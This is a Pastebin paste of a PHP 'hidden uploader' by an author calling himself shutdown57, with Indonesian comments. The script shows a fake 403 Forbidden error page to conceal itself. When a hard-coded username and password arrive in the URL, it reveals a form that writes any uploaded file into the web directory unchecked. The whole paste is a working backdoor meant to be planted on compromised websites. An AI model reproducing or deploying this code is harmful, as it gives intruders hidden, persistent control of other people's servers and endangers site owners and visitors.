Advertisement
alin_tamvanz

hidden uploader with 403 forbidden

Apr 7th, 2016
415
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.33 KB | None | 0 0
  1. <?php
  2. // author : shutdown57
  3. // kwokwok ! sadar kalo ente copy paste !
  4. // jangan sampe jadi script kiddies :)
  5. echo"  <title> Forbidden</title>
  6. </head><body>
  7. <h1>Forbidden</h1>
  8.  
  9. <p>You don't have permission to access ".$_SERVER['REQUEST_URI']."  on this server.<br>
  10. Server unable to read  file, denying access to be safe
  11. <br><br>
  12. Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.</p>";
  13.  
  14. if(isset($_POST['ntap']))
  15. {
  16. $pile = $_FILES['filecuk']['name'];
  17. $piles= $_FILES['filecuk']['tmp_name'];
  18. $folder="";
  19. if(move_uploaded_file($piles,$folder.$pile))
  20. {
  21. $hasil = "mie Sukses !<a href='$pile' target='_blank'>Klik sini </A>";
  22. }
  23. else
  24. {
  25. $hasil = "Failed!";
  26. }
  27. }
  28. $usercuk ="shutdown57";//user
  29. $passcuk =":V";//password
  30. // exploit : ?user=YouUser&pass=YourPass
  31. if($_GET['user']==$usercuk &&$_GET['pass']==$passcuk){
  32. echo'
  33. <!DOCTYPE html>
  34. <html xmlns="http://www.w3.org/1999/xhtml">
  35. <head>
  36. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  37. <title>#~ shutdown57 Priv8 uploader~#</title>
  38. </head>
  39. <body>
  40. <center>
  41. <h1>#~ shutdown57 Priv8 uploader ~#</h1>
  42. <form action="" method="post" enctype="multipart/form-data">
  43. <input type="file" name="filecuk" />
  44. <input type="submit" name="ntap" value="ntapz!">
  45. </form>
  46. '.$hasil.'
  47. </body>
  48. </html>';
  49. }
  50. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement